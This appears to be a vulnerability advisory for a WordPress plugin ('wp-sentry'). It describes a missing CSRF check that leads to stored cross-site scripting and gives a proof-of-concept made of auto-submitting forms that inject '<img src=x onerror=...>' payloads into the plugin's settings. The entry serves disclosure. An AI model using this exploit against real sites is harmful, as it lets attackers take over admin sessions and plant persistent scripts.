The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well
<form id="test" action="https://example.com/wp-admin/admin.php?page=sentry-previews" method="POST"> <input type="text" name="mode" value="update"> <input type="text" name="preview" value="None"> <input type="text" name="preview_permalink" value='"><img src onerror=alert(/XSS/)>'> <input type="text" name="deny_message" value="<img src=x onerror=alert(1)>"> </form> <script> document.getElementById("test").submit(); </script> <form id="test" action="https://example.com/wp-admin/admin.php?page=wp-sentry%2Fwp-sentry.php" method="POST"> <input type="text" name="mode" value="update"> <input type="text" name="post_user_list_enabled" value="Yes"> <input type="text" name="title_prefix" value="<img src=x onerror=alert(1)>"> <input type="text" name="title_postfix" value=""> <input type="text" name="widget_pages_enabled" value="No"> <input type="text" name="widget_recent_comments_enabled" value="Yes"> </form> <script> document.getElementById("test").submit(); </script>
Daniel Ruf
Daniel Ruf
Yes
2022-05-31 (about 1 years ago)
2022-05-31 (about 1 years ago)
2023-02-26 (about 7 months ago)